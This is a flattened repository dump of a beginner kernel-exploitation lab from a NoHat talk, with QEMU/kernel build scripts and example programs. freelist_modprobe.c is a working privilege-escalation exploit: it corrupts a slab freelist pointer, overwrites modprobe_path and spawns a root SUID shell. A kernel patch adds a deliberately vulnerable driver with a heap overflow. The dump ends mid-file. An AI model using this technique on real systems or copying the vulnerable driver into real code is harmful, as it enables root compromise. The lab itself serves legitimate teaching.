├── .gitattributes ├── .gitignore ├── README.md ├── code ├── hello_world.c └── krwx │ ├── freelist_modprobe.c │ ├── kmalloc_kfree.c │ └── template.c ├── helpers ├── image │ └── get-syzkaller-image.sh ├── kernel │ ├── get-and-compile-KRWX.sh │ └── get-and-compile-kernel.sh └── userland │ ├── compile_userland.sh │ ├── run.sh │ ├── start.sh │ └── sync_image.sh ├── image ├── README.md └── create-image.sh ├── kernel ├── README.md ├── kernel-configs │ ├── extra-debug.config │ └── extra-syzkaller.config └── patches │ └── syzkaller-nohat24-demo.patch ├── setup.sh └── setup_syzkaller_demo.sh /.gitattributes: -------------------------------------------------------------------------------- 1 | # Auto detect text files and perform LF normalization 2 | * text=auto 3 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | ./start.sh 2 | .* 3 | .DS_Store 4 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # beginner-kernel-exploitation-setup 2 | ## Introduction 3 | This repository has been created for the [talk (KRWX: A tool to learn and assist Kernel Exploitation)](https://www.nohat.it/slides/2023/groppo.pdf) given at NoHat @2023. 4 | 5 | ## How to Install 6 | - `./setup.sh` 7 | - As a beginner friendly repository everything is hard-coded. By default, it will compiles a 6.4 kernel and a debian image from the syzkaller repository. If you want to further customize it, see the `./helpers/` folder. 8 | 9 | ## How to Run 10 | - `./start.sh ./code/hello_world.c` for a first dry run. You can write your own C code and specifiy it 11 | - When the qemu instance boots up you can type `root` and you're in. Then `./run` to install KRWX module and execute the compiled binary 12 | 13 | ## Requirements 14 | Tested on x86_64 ubuntu machine. Ubuntu is not strictly required, but if you want to use another distro, change the `apt` command from `setup.sh` based on your distro (or comment the 2 lines and install necessary requirements by yourself). 15 | 16 | `sudo` is required for some operations (`grep -R sudo *` if you are suspicious) 17 | -------------------------------------------------------------------------------- /code/hello_world.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include "../kernel/KRWX/client/lib/krwx.h" 3 | 4 | int main(){ 5 | printf("Hello world !\n"); 6 | } 7 | -------------------------------------------------------------------------------- /code/krwx/freelist_modprobe.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include "../../kernel/KRWX/client/lib/krwx.h" 3 | 4 | /* 5 | * For the expected result it is necessary to have FREELIST_[RANDOM|HARDENED] disabled and KASLR disabled as well (nokaslr option) 6 | * `su - user; run` for a "realistic" experience 7 | */ 8 | 9 | void prep_exploit(){ 10 | // Create SUID binary 11 | system("echo 'int main(void){setgid(0); setuid(0); execl(\"/bin/sh\",\"sh\",0);}' > /tmp/suid.c"); 12 | system("gcc -w /tmp/suid.c -o /tmp/suid -static"); 13 | 14 | // Setup 15 | system("echo '#!/bin/sh' > /tmp/x"); 16 | system("echo 'touch /tmp/pwneed' >> /tmp/x"); 17 | system("echo 'chown root: /tmp/suid' >> /tmp/x"); 18 | system("echo 'chmod 777 /tmp/suid' >> /tmp/x"); 19 | system("echo 'chmod u+s /tmp/suid' >> /tmp/x"); 20 | system("echo -e '\xdd\xdd\xdd\xdd\xdd\xdd' > /tmp/nnn"); 21 | system("chmod +x /tmp/x"); 22 | system("chmod +x /tmp/nnn"); 23 | } 24 | 25 | void get_root_shell(){ 26 | system("/tmp/nnn 2>/dev/null"); 27 | system("/tmp/suid 2>/dev/null"); 28 | } 29 | 30 | int main(){ 31 | #define CHUNK_SZ 64 32 | // Fill partial slabs 33 | prep_exploit(); 34 | for(int i = 0; i < 1000; i++) 35 | kmalloc(CHUNK_SZ, GFP_KERNEL); 36 | 37 | void* chunk_A = kmalloc(CHUNK_SZ, GFP_KERNEL); 38 | kfree(chunk_A); 39 | printf("[*] chunk_A (@%p) has been allocated and freed\n", chunk_A); 40 | read_memory(chunk_A, CHUNK_SZ); 41 | void* chunk_A_freelist_ptr = chunk_A + (CHUNK_SZ/2); 42 | printf("[*] The chunk_A freelist pointer is corrupted with the address of modprobe_path (KASLR not enabled)\n"); 43 | 44 | /* 45 | gef➤ p &modprobe_path 46 | $2 = (char (*)[256]) 0xffffffff82b3fb80 47 | */ 48 | void* modprobe_path_ptr = 0xffffffff82b3fb80; 49 | kwrite64(chunk_A_freelist_ptr, modprobe_path_ptr); 50 | kmalloc(CHUNK_SZ, GFP_KERNEL); 51 | void* chunk_B = kmalloc(CHUNK_SZ, GFP_KERNEL); 52 | if( chunk_B == modprobe_path_ptr ) 53 | printf("[+] Success!\n"); 54 | 55 | // Overwrite modprobe_path with /tmp/x (script that we control) 56 | // by writing into chunk_B 57 | // 0x00782f706d742f == "/tmp/x" in little-endian 58 | 59 | printf("[*] By writing into chunk_B, we arbitrary write into &modprobe_path\n"); 60 | kwrite64(chunk_B, 0x00782f706d742f); 61 | 62 | get_root_shell(); 63 | 64 | } 65 | -------------------------------------------------------------------------------- /code/krwx/kmalloc_kfree.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include "../../kernel/KRWX/client/lib/krwx.h" 3 | 4 | /* 5 | * For the expected results it is necessary to have FREELIST_[RANDOM|HARDENED] disabled 6 | */ 7 | 8 | int main(){ 9 | #define CHUNK_SZ 64 10 | // Fill partial slabs 11 | for(int i = 0; i < 1000; i++) 12 | kmalloc(CHUNK_SZ, GFP_KERNEL); 13 | 14 | // Allocate chunks 15 | void* chunk_A = kmalloc(CHUNK_SZ, GFP_KERNEL); 16 | void* chunk_B = kmalloc(CHUNK_SZ, GFP_KERNEL); 17 | void* chunk_C = kmalloc(CHUNK_SZ, GFP_KERNEL); 18 | 19 | // Fill chunks with arbitrary data 20 | int off = 0; 21 | while( off < CHUNK_SZ){ 22 | kwrite64(chunk_A + off, 0x4141414141414141); 23 | off += 8; 24 | } 25 | off = 0; 26 | while( off < CHUNK_SZ){ 27 | kwrite64(chunk_B + off, 0x4242424242424242); 28 | off += 8; 29 | } 30 | off = 0; 31 | while( off < CHUNK_SZ){ 32 | kwrite64(chunk_C + off, 0x4343434343434343); 33 | off += 8; 34 | } 35 | 36 | // Reading memory, freeing and re-reading memory again 37 | printf("[*] Reading memory ..\n"); 38 | read_memory(chunk_A, CHUNK_SZ * 3); 39 | kfree(chunk_B); 40 | printf("[*] Freeing chunk_B and re-reading memory\n"); 41 | read_memory(chunk_A, CHUNK_SZ * 3); 42 | 43 | printf("chunk_A: %p\n", chunk_A); 44 | printf("chunk_B: %p\n", chunk_B); 45 | printf("chunk_C: %p\n", chunk_C); 46 | printf("chunk_C - chunk_B = %d\n", (chunk_C - chunk_B) ); 47 | printf("chunk_B - chunk_A = %d\n", (chunk_B - chunk_A) ); 48 | } 49 | -------------------------------------------------------------------------------- /code/krwx/template.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include "../../kernel/KRWX/client/lib/krwx.h" 3 | 4 | int main(){ 5 | printf("Hello world !\n"); 6 | } 7 | -------------------------------------------------------------------------------- /helpers/image/get-syzkaller-image.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # 3 | if [ -z "$1" ] 4 | then 5 | echo "A work folder must be specified!" 6 | echo "Usage: $0 " 7 | echo " Example:" 8 | echo " $0 ./image/" 9 | exit 10 | fi 11 | set -ex 12 | 13 | cd $1 14 | wget https://raw.githubusercontent.com/google/syzkaller/master/tools/create-image.sh -O create-image.sh 15 | chmod +x create-image.sh 16 | ./create-image.sh 17 | -------------------------------------------------------------------------------- /helpers/kernel/get-and-compile-KRWX.sh: -------------------------------------------------------------------------------- 1 | if [ -z "$3" ] 2 | then 3 | echo "A work folder must be specified!" 4 | echo "Usage: $0 " 5 | echo " Example:" 6 | echo " $0 ./kernel/linux-6.1/ ./kernel/ ./image/chroot/" 7 | exit 8 | fi 9 | set -ex 10 | 11 | cd $2 12 | 13 | if [ ! -d ./KRWX ]; then 14 | # already cloned 15 | git clone https://github.com/hacktivesec/KRWX 16 | fi 17 | 18 | cd KRWX/LKM/ 19 | # compile kernel module 20 | make -C $1 M=$(pwd) modules 21 | 22 | # copy it into the image folder 23 | sudo cp krwx.ko $3/ 24 | -------------------------------------------------------------------------------- /helpers/kernel/get-and-compile-kernel.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | if [ -z "$1" ] 4 | then 5 | echo "Usage: $0 {kernel-version} {work-folder} " 6 | echo " Example:" 7 | echo " $0 6.4" 8 | echo " $0 6.4 /tmp/work-folder" 9 | echo " $0 6.4 /tmp/work-folder kernel-configs/extra-debug.config" 10 | echo " CC=clang $0 6.4 /tmp/work-folder" 11 | echo " ARCH=x86_64 CROSS_COMPILE=x86_64-linux-gnu- $0 6.4 /tmp/work-folder" 12 | exit 13 | fi 14 | 15 | set -ex 16 | 17 | START_FOLDER=$(pwd) 18 | # workdir 19 | if [ -n "$2" ] 20 | then 21 | cd $2 22 | fi 23 | 24 | # Terminate in any command fail 25 | echo "[*] Working in folder $(pwd)" 26 | KERNEL_VERSION=$1 27 | EXTRA_CONFIG_FILE=$3 28 | TAR_FILENAME=linux-$KERNEL_VERSION.tar.xz 29 | KERNEL_FOLDER=linux-$KERNEL_VERSION/ 30 | 31 | CC_DEFAULT=$(which cc) 32 | : "${CC:=$CC_DEFAULT}" 33 | 34 | # CROSS_COMPILE & ARCH can be used as env variables for cross compilation 35 | # doing it before to don't waste time later and restart 36 | if [ -z ${CROSS_COMPILE+x} ]; 37 | then 38 | echo "[*] ;)"; 39 | else 40 | # check also if arch is set 41 | if [ -z ${ARCH+x} ]; then echo "missing arch !"; exit; fi 42 | echo "[*] cross compiling from $(arch) to $ARCH" 43 | fi 44 | 45 | # getting the kernel 46 | # wget https://cdn.kernel.org/pub/linux/kernel/v6.x/linux-$KERNEL_VERSION.tar.xz 47 | #tar -xvf $TAR_FILENAME 48 | # clean previous one 49 | rm -rf ./$KERNEL_FOLDER/ 50 | git clone --branch v$KERNEL_VERSION --depth 1 git://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git $KERNEL_FOLDER 51 | cd $KERNEL_FOLDER 52 | 53 | if [ -z ${NOHAT_PATCH+x} ]; 54 | then 55 | echo ""; 56 | else 57 | git apply ../../../kernel/patches/syzkaller-nohat24-demo.patch 58 | fi 59 | 60 | # already done from calling script 61 | # sudo apt-get install build-essential libncurses-dev bison flex libssl-dev libelf-dev flex bison 62 | 63 | echo "[*] Configuring kernel options .." 64 | 65 | if [ -z ${cross_compile+x} ]; 66 | then 67 | # Normal compilation (no cross) 68 | make CC=$CC defconfig 69 | make CC=$CC kvm_guest.config 70 | 71 | # custom config 72 | if [ -n "$3" ] 73 | then 74 | # Add specified extra configs 75 | cat $EXTRA_CONFIG_FILE >> .config 76 | fi 77 | 78 | make CC=$CC olddefconfig 79 | time make CC=$CC -j $(nproc) 80 | 81 | else 82 | # Cross compilation 83 | make ARCH=$ARCH CROSS_COMPILE=$CROSS_COMPILE defconfig 84 | make ARCH=$ARCH CROSS_COMPILE=$CROSS_COMPILE kvm_guest.config 85 | 86 | # custom config 87 | if [ -n "$3" ] 88 | then 89 | # Add specified extra configs 90 | cat $EXTRA_CONFIG_FILE >> .config 91 | fi 92 | 93 | make ARCH=$ARCH CROSS_COMPILE=$CROSS_COMPILE olddefconfig 94 | time make ARCH=$ARCH CROSS_COMPILE=$CROSS_COMPILE -j $(nproc) 95 | 96 | fi 97 | 98 | echo "[+] Everything done @_@" 99 | -------------------------------------------------------------------------------- /helpers/userland/compile_userland.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | # Compiles and move the compiled executable in rootfs 3 | 4 | if [ -z "$2" ] 5 | then 6 | echo "Usage: $0 " 7 | echo " Example:" 8 | echo " $0 ./code/hello_world.c ./image/chroot/" 9 | echo " CC=clang $0 ./code/hello_world.c ./image/chroot/" 10 | exit 11 | fi 12 | set -ex 13 | 14 | # CC= ./ to override 15 | CC_DEFAULT=$(which cc) 16 | : "${CC:=$CC_DEFAULT}" 17 | IMAGE_CHROOT=$2 18 | 19 | # Clean previous compilations 20 | sudo find $IMAGE_CHROOT/root/ -type f -exec rm {} + 21 | 22 | 23 | 24 | exec_name=$(echo $1 | sed "s/\.c//g") 25 | $CC -static $1 -o $exec_name 26 | sudo cp $exec_name $IMAGE_CHROOT/root/ 27 | 28 | sudo bash -c "cat << EOF > $IMAGE_CHROOT/root/run 29 | if [ ! -f .setup ]; then 30 | adduser --disabled-password --gecos '' user 31 | cp * /home/user/ 32 | touch /home/user/.setup 33 | chown -R user: /home/user/* 34 | dmesg -n 1 35 | # Install KRWX and make it 777 36 | lsmod | grep krwx >/dev/null || insmod /krwx.ko 37 | chmod 777 /dev/krwx 38 | touch .setup 39 | fi 40 | # Execute compiled binary 41 | ./$(basename $exec_name) 42 | 43 | EOF" 44 | 45 | sudo chmod +x $IMAGE_CHROOT/root/run 46 | 47 | 48 | -------------------------------------------------------------------------------- /helpers/userland/run.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | if [ -z "$2" ] 3 | then 4 | echo "Usage: $0 " 5 | echo " Example:" 6 | echo " $0 ./kernel/linux-6.1/ ./kernel/linux-6.4 ./image/bullseye.img" 7 | exit 8 | fi 9 | set -ex 10 | 11 | KERNEL=$1 12 | IMAGE=$2 13 | qemu-system-x86_64 -nographic \ 14 | -kernel $KERNEL \ 15 | -drive file=$IMAGE \ 16 | -append "root=/dev/sda rw console=ttyS0 rootfstype=ext4 nokaslr" \ 17 | -m 1024M -s -cpu qemu64,+smep,+smap -smp 1 \ 18 | -net user,host=10.0.2.10,hostfwd=tcp:127.0.0.1:10337-:22 \ 19 | -net nic,model=e1000 \ 20 | -snapshot 21 | -------------------------------------------------------------------------------- /helpers/userland/start.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | if [ -z "$1" ] 4 | then 5 | echo "Usage: $0 " 6 | echo " Example:" 7 | echo " $0 ./code/hello_world.c" 8 | exit 9 | fi 10 | set -ex 11 | 12 | C_FILENAME=$1 13 | MOUNT_PATH=TODO_MOUNT_PATH 14 | IMAGE_FOLDER=TODO_IMAGE_FOLDER 15 | KERNEL=TODO_KERNEL 16 | IMAGE_FOLDER_CHROOT=$IMAGE_FOLDER/chroot/ 17 | IMAGE=$IMAGE_FOLDER/bullseye.img 18 | 19 | # compile C file 20 | helpers/userland/compile_userland.sh $C_FILENAME $IMAGE_FOLDER_CHROOT 21 | 22 | # Update image 23 | helpers/userland/sync_image.sh $IMAGE_FOLDER_CHROOT $IMAGE $MOUNT_PATH 24 | 25 | # run in qemu 26 | helpers/userland/run.sh $KERNEL $IMAGE 27 | -------------------------------------------------------------------------------- /helpers/userland/sync_image.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | if [ -z "$3" ] 3 | then 4 | echo "Usage: $0 " 5 | echo " Example:" 6 | echo " $0 ./image/chroot/ ./image/bullseye.img /mnt/mount-point" 7 | exit 8 | fi 9 | set -ex 10 | 11 | IMAGE_CHROOT=$1 12 | IMAGE=$2 13 | MOUNTPOINT=$3 14 | 15 | mountpoint $MOUNTPOINT && sudo umount $MOUNTPOINT/ 16 | sudo mount -o loop $IMAGE $MOUNTPOINT 17 | sudo rsync -avh $IMAGE_CHROOT $MOUNTPOINT --delete 18 | sudo umount $MOUNTPOINT 19 | 20 | -------------------------------------------------------------------------------- /image/README.md: -------------------------------------------------------------------------------- 1 | image folder 2 | -------------------------------------------------------------------------------- /image/create-image.sh: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bash 2 | # Copyright 2016 syzkaller project authors. All rights reserved. 3 | # Use of this source code is governed by Apache 2 LICENSE that can be found in the LICENSE file. 4 | 5 | # create-image.sh creates a minimal Debian Linux image suitable for syzkaller. 6 | 7 | set -eux 8 | 9 | # Create a minimal Debian distribution in a directory. 10 | DIR=chroot 11 | PREINSTALL_PKGS=openssh-server,curl,tar,gcc,libc6-dev,time,strace,sudo,less,psmisc,selinux-utils,policycoreutils,checkpolicy,selinux-policy-default,firmware-atheros,debian-ports-archive-keyring 12 | 13 | # If ADD_PACKAGE is not defined as an external environment variable, use our default packages 14 | if [ -z ${ADD_PACKAGE+x} ]; then 15 | ADD_PACKAGE="make,sysbench,git,vim,tmux,usbutils,tcpdump" 16 | fi 17 | 18 | # Variables affected by options 19 | ARCH=$(uname -m) 20 | RELEASE=bullseye 21 | FEATURE=minimal 22 | SEEK=2047 23 | PERF=false 24 | 25 | # Display help function 26 | display_help() { 27 | echo "Usage: $0 [option...] " >&2 28 | echo 29 | echo " -a, --arch Set architecture" 30 | echo " -d, --distribution Set on which debian distribution to create" 31 | echo " -f, --feature Check what packages to install in the image, options are minimal, full" 32 | echo " -s, --seek Image size (MB), default 2048 (2G)" 33 | echo " -h, --help Display help message" 34 | echo " -p, --add-perf Add perf support with this option enabled. Please set envrionment variable \$KERNEL at first" 35 | echo 36 | } 37 | 38 | while true; do 39 | if [ $# -eq 0 ];then 40 | echo $# 41 | break 42 | fi 43 | case "$1" in 44 | -h | --help) 45 | display_help 46 | exit 0 47 | ;; 48 | -a | --arch) 49 | ARCH=$2 50 | shift 2 51 | ;; 52 | -d | --distribution) 53 | RELEASE=$2 54 | shift 2 55 | ;; 56 | -f | --feature) 57 | FEATURE=$2 58 | shift 2 59 | ;; 60 | -s | --seek) 61 | SEEK=$(($2 - 1)) 62 | shift 2 63 | ;; 64 | -p | --add-perf) 65 | PERF=true 66 | shift 1 67 | ;; 68 | -*) 69 | echo "Error: Unknown option: $1" >&2 70 | exit 1 71 | ;; 72 | *) # No more options 73 | break 74 | ;; 75 | esac 76 | done 77 | 78 | # Handle cases where qemu and Debian use different arch names 79 | case "$ARCH" in 80 | ppc64le) 81 | DEBARCH=ppc64el 82 | ;; 83 | aarch64) 84 | DEBARCH=arm64 85 | ;; 86 | arm) 87 | DEBARCH=armel 88 | ;; 89 | x86_64) 90 | DEBARCH=amd64 91 | ;; 92 | *) 93 | DEBARCH=$ARCH 94 | ;; 95 | esac 96 | 97 | # Foreign architecture 98 | 99 | FOREIGN=false 100 | if [ $ARCH != $(uname -m) ]; then 101 | # i386 on an x86_64 host is exempted, as we can run i386 binaries natively 102 | if [ $ARCH != "i386" -o $(uname -m) != "x86_64" ]; then 103 | FOREIGN=true 104 | fi 105 | fi 106 | 107 | if [ $FOREIGN = "true" ]; then 108 | # Check for according qemu static binary 109 | if ! which qemu-$ARCH-static; then 110 | echo "Please install qemu static binary for architecture $ARCH (package 'qemu-user-static' on Debian/Ubuntu/Fedora)" 111 | exit 1 112 | fi 113 | # Check for according binfmt entry 114 | if [ ! -r /proc/sys/fs/binfmt_misc/qemu-$ARCH ]; then 115 | echo "binfmt entry /proc/sys/fs/binfmt_misc/qemu-$ARCH does not exist" 116 | exit 1 117 | fi 118 | fi 119 | 120 | # Double check KERNEL when PERF is enabled 121 | if [ $PERF = "true" ] && [ -z ${KERNEL+x} ]; then 122 | echo "Please set KERNEL environment variable when PERF is enabled" 123 | exit 1 124 | fi 125 | 126 | # If full feature is chosen, install more packages 127 | if [ $FEATURE = "full" ]; then 128 | PREINSTALL_PKGS=$PREINSTALL_PKGS","$ADD_PACKAGE 129 | fi 130 | 131 | sudo rm -rf $DIR 132 | sudo mkdir -p $DIR 133 | sudo chmod 0755 $DIR 134 | 135 | # 1. debootstrap stage 136 | 137 | DEBOOTSTRAP_PARAMS="--arch=$DEBARCH --include=$PREINSTALL_PKGS --components=main,contrib,non-free,non-free-firmware $RELEASE $DIR" 138 | if [ $FOREIGN = "true" ]; then 139 | DEBOOTSTRAP_PARAMS="--foreign $DEBOOTSTRAP_PARAMS" 140 | fi 141 | 142 | # riscv64 is hosted in the debian-ports repository 143 | # debian-ports doesn't include non-free, so we exclude firmware-atheros 144 | if [ $DEBARCH == "riscv64" ]; then 145 | DEBOOTSTRAP_PARAMS="--keyring /usr/share/keyrings/debian-ports-archive-keyring.gpg --exclude firmware-atheros $DEBOOTSTRAP_PARAMS http://deb.debian.org/debian-ports" 146 | fi 147 | sudo --preserve-env=http_proxy,https_proxy,ftp_proxy,no_proxy debootstrap $DEBOOTSTRAP_PARAMS 148 | 149 | # 2. debootstrap stage: only necessary if target != host architecture 150 | 151 | if [ $FOREIGN = "true" ]; then 152 | sudo cp $(which qemu-$ARCH-static) $DIR/$(which qemu-$ARCH-static) 153 | sudo chroot $DIR /bin/bash -c "/debootstrap/debootstrap --second-stage" 154 | fi 155 | 156 | # Set some defaults and enable promtless ssh to the machine for root. 157 | sudo sed -i '/^root/ { s/:x:/::/ }' $DIR/etc/passwd 158 | echo 'T0:23:respawn:/sbin/getty -L ttyS0 115200 vt100' | sudo tee -a $DIR/etc/inittab 159 | printf '\nauto eth0\niface eth0 inet dhcp\n' | sudo tee -a $DIR/etc/network/interfaces 160 | echo '/dev/root / ext4 defaults 0 0' | sudo tee -a $DIR/etc/fstab 161 | echo 'debugfs /sys/kernel/debug debugfs defaults 0 0' | sudo tee -a $DIR/etc/fstab 162 | echo 'securityfs /sys/kernel/security securityfs defaults 0 0' | sudo tee -a $DIR/etc/fstab 163 | echo 'configfs /sys/kernel/config/ configfs defaults 0 0' | sudo tee -a $DIR/etc/fstab 164 | echo 'binfmt_misc /proc/sys/fs/binfmt_misc binfmt_misc defaults 0 0' | sudo tee -a $DIR/etc/fstab 165 | echo -en "127.0.0.1\tlocalhost\n" | sudo tee $DIR/etc/hosts 166 | echo "nameserver 8.8.8.8" | sudo tee -a $DIR/etc/resolve.conf 167 | echo "syzkaller" | sudo tee $DIR/etc/hostname 168 | ssh-keygen -f $RELEASE.id_rsa -t rsa -N '' 169 | sudo mkdir -p $DIR/root/.ssh/ 170 | cat $RELEASE.id_rsa.pub | sudo tee $DIR/root/.ssh/authorized_keys 171 | 172 | # Add perf support 173 | if [ $PERF = "true" ]; then 174 | cp -r $KERNEL $DIR/tmp/ 175 | BASENAME=$(basename $KERNEL) 176 | sudo chroot $DIR /bin/bash -c "apt-get update; apt-get install -y flex bison python-dev libelf-dev libunwind8-dev libaudit-dev libslang2-dev libperl-dev binutils-dev liblzma-dev libnuma-dev" 177 | sudo chroot $DIR /bin/bash -c "cd /tmp/$BASENAME/tools/perf/; make" 178 | sudo chroot $DIR /bin/bash -c "cp /tmp/$BASENAME/tools/perf/perf /usr/bin/" 179 | rm -r $DIR/tmp/$BASENAME 180 | fi 181 | 182 | # Add udev rules for custom drivers. 183 | # Create a /dev/vim2m symlink for the device managed by the vim2m driver 184 | echo 'ATTR{name}=="vim2m", SYMLINK+="vim2m"' | sudo tee -a $DIR/etc/udev/rules.d/50-udev-default.rules 185 | 186 | # Build a disk image 187 | dd if=/dev/zero of=$RELEASE.img bs=1M seek=$SEEK count=1 188 | sudo mkfs.ext4 -F $RELEASE.img 189 | sudo mkdir -p /mnt/$DIR 190 | sudo mount -o loop $RELEASE.img /mnt/$DIR 191 | sudo cp -a $DIR/. /mnt/$DIR/. 192 | sudo umount /mnt/$DIR 193 | -------------------------------------------------------------------------------- /kernel/README.md: -------------------------------------------------------------------------------- 1 | kernel folder 2 | -------------------------------------------------------------------------------- /kernel/kernel-configs/extra-debug.config: -------------------------------------------------------------------------------- 1 | CONFIG_CONFIGFS_FS=y 2 | CONFIG_SECURITYFS=y 3 | CONFIG_DEBUG_INFO=y 4 | CONFIG_DEBUG_INFO_DWARF_TOOLCHAIN_DEFAULT=y 5 | -------------------------------------------------------------------------------- /kernel/kernel-configs/extra-syzkaller.config: -------------------------------------------------------------------------------- 1 | CONFIG_KCOV=y 2 | CONFIG_KCOV_INSTRUMENT_ALL=y 3 | CONFIG_KCOV_ENABLE_COMPARISONS=y 4 | 5 | CONFIG_KASAN=y 6 | CONFIG_KASAN_GENERIC=y 7 | CONFIG_KASAN_INLINE=y 8 | CONFIG_KASAN_STACK=y 9 | CONFIG_KASAN_VMALLOC=y 10 | 11 | CONFIG_CONFIGFS_FS=y 12 | CONFIG_SECURITYFS=y 13 | CONFIG_DEBUG_INFO=y 14 | CONFIG_DEBUG_INFO_DWARF_TOOLCHAIN_DEFAULT=y 15 | CONFIG_HARDENED_USERCOPY=y 16 | CONFIG_FRAME_WARN=0 17 | # CONFIG_RANDOMIZE_BASE is not set 18 | 19 | CONFIG_VULNERABLE_DEMO=y 20 | CONFIG_VULNERABLE_DIY=y 21 | -------------------------------------------------------------------------------- /kernel/patches/syzkaller-nohat24-demo.patch: -------------------------------------------------------------------------------- 1 | diff --git a/drivers/Kconfig b/drivers/Kconfig 2 | index 7bdad836f..04d799b8a 100644 3 | --- a/drivers/Kconfig 4 | +++ b/drivers/Kconfig 5 | @@ -245,4 +245,8 @@ source "drivers/cdx/Kconfig" 6 | 7 | source "drivers/dpll/Kconfig" 8 | 9 | +source "drivers/syzdemo/Kconfig" 10 | + 11 | +source "drivers/syzdiy/Kconfig" 12 | + 13 | endmenu 14 | diff --git a/drivers/Makefile b/drivers/Makefile 15 | index fe9ceb0d2..0f2cb249f 100644 16 | --- a/drivers/Makefile 17 | +++ b/drivers/Makefile 18 | @@ -193,3 +193,5 @@ obj-$(CONFIG_CDX_BUS) += cdx/ 19 | obj-$(CONFIG_DPLL) += dpll/ 20 | 21 | obj-$(CONFIG_S390) += s390/ 22 | +obj-$(CONFIG_VULNERABLE_DEMO) += syzdemo/ 23 | +obj-$(CONFIG_VULNERABLE_DIY) += syzdiy/ 24 | diff --git a/drivers/syzdemo/Kconfig b/drivers/syzdemo/Kconfig 25 | new file mode 100644 26 | index 000000000..4967f42e4 27 | --- /dev/null 28 | +++ b/drivers/syzdemo/Kconfig 29 | @@ -0,0 +1,8 @@ 30 | +# SPDX-License-Identifier: GPL-2.0-only 31 | +# 32 | +# Vulnerable demo configuration 33 | +# 34 | +config VULNERABLE_DEMO 35 | + bool "Vulnerable demo module for syzkaller" 36 | + help 37 | + Vulnerable demo module 38 | diff --git a/drivers/syzdemo/Makefile b/drivers/syzdemo/Makefile 39 | new file mode 100644 40 | index 000000000..af1ee9232 41 | --- /dev/null 42 | +++ b/drivers/syzdemo/Makefile 43 | @@ -0,0 +1 @@ 44 | +obj-$(CONFIG_VULNERABLE_DEMO) += demo.o 45 | diff --git a/drivers/syzdemo/demo.c b/drivers/syzdemo/demo.c 46 | new file mode 100644 47 | index 000000000..2c93bb76d 48 | --- /dev/null 49 | +++ b/drivers/syzdemo/demo.c 50 | @@ -0,0 +1,101 @@ 51 | +#include 52 | +#include 53 | +#include 54 | +#include 55 | +#include 56 | +#include 57 | + 58 | +static const struct file_operations demo_ops = { 59 | + .open = demo_open, 60 | + .release = demo_release, 61 | + .read = demo_read, 62 | + .write = demo_write, 63 | + .unlocked_ioctl = demo_ioctl 64 | +}; 65 | + 66 | +static struct miscdevice demo_miscdev = { 67 | + .minor = MISC_DYNAMIC_MINOR, 68 | + .name = "demo", 69 | + .fops = &demo_ops 70 | +}; 71 | + 72 | +struct demo_struct { 73 | + int flags; 74 | + int name_len; 75 | + char name[]; 76 | +}; 77 | + 78 | +long int demo_ioctl(struct file* fp, unsigned int cmd, unsigned long arg){ 79 | + struct demo_struct *kernel_struct; 80 | + char* kernel_buffer; 81 | + char* __user user_buffer; 82 | + unsigned long var; 83 | + switch(cmd){ 84 | + case IOCTL_DEMO_NORMAL: 85 | + pr_info("Normal IOCTL"); 86 | + break; 87 | + case IOCTL_DEMO_BUG: 88 | + if(get_user(var, (unsigned long*) arg)) 89 | + return -EFAULT; 90 | + if(var == 31337) 91 | + BUG(); 92 | + break; 93 | + case IOCTL_DEMO_KASAN: 94 | + kernel_struct = kmalloc( sizeof(struct demo_struct) , GFP_KERNEL); 95 | + if(!kernel_struct) 96 | + return -ENOMEM; 97 | + 98 | + if(copy_from_user(kernel_struct, (void*) arg, sizeof(struct demo_struct))) 99 | + return -EFAULT; 100 | + 101 | + if(!(kernel_struct->flags & DEMO_FLAG1)) 102 | + return -EINVAL; 103 | + kernel_buffer = kmalloc(128, GFP_KERNEL); 104 | + user_buffer = (void* __user) arg + sizeof(struct demo_struct); 105 | + if(__copy_from_user(kernel_buffer, user_buffer, kernel_struct->name_len)) 106 | + return -EFAULT; 107 | + kfree(kernel_struct); 108 | + kfree(kernel_buffer); 109 | + break; 110 | + default: 111 | + break; 112 | + } 113 | + return 0; 114 | +} 115 | + 116 | +int demo_open(struct inode* inode, struct file* file){ 117 | + return 0; 118 | +} 119 | + 120 | +int demo_release(struct inode* inode, struct file* file){ 121 | + return 0; 122 | +} 123 | + 124 | +int demo_init(void){ 125 | + int err = 0; 126 | + err = misc_register(&demo_miscdev); 127 | + if(err){ 128 | + pr_err("Error registering demo module"); 129 | + return err; 130 | + } 131 | + pr_info("Demo module registered"); 132 | + return 0; 133 | +} 134 | + 135 | +void demo_exit(void){ 136 | + misc_deregister(&demo_miscdev); 137 | +} 138 | + 139 | + 140 | +ssize_t demo_read(struct file* file, char __user* buf, size_t count, loff_t* pos){ 141 | + return 0; 142 | +} 143 | +ssize_t demo_write(struct file* fie, const char __user* buf, size_t count, loff_t* pos){ 144 | + return 0; 145 | +} 146 | + 147 | +module_init(demo_init); 148 | +module_exit(demo_exit); 149 | + 150 | +MODULE_LICENSE("GPL"); 151 | +MODULE_AUTHOR("Alessandro (@kiks) Groppo - Hacktive Security"); 152 | diff --git a/drivers/syzdemo/demo.c.bak b/drivers/syzdemo/demo.c.bak 153 | new file mode 100644 154 | index 000000000..00406d30b 155 | --- /dev/null 156 | +++ b/drivers/syzdemo/demo.c.bak 157 | @@ -0,0 +1,97 @@ 158 | +#include 159 | +#include 160 | +#include 161 | +#include 162 | +#include 163 | +#include 164 | + 165 | +static const struct file_operations demo_ops = { 166 | + .open = demo_open, 167 | + .release = demo_release, 168 | + .read = demo_read, 169 | + .write = demo_write, 170 | + .unlocked_ioctl = demo_ioctl 171 | +}; 172 | + 173 | +static struct miscdevice demo_miscdev = { 174 | + .minor = MISC_DYNAMIC_MINOR, 175 | + .name = "demo", 176 | + .fops = 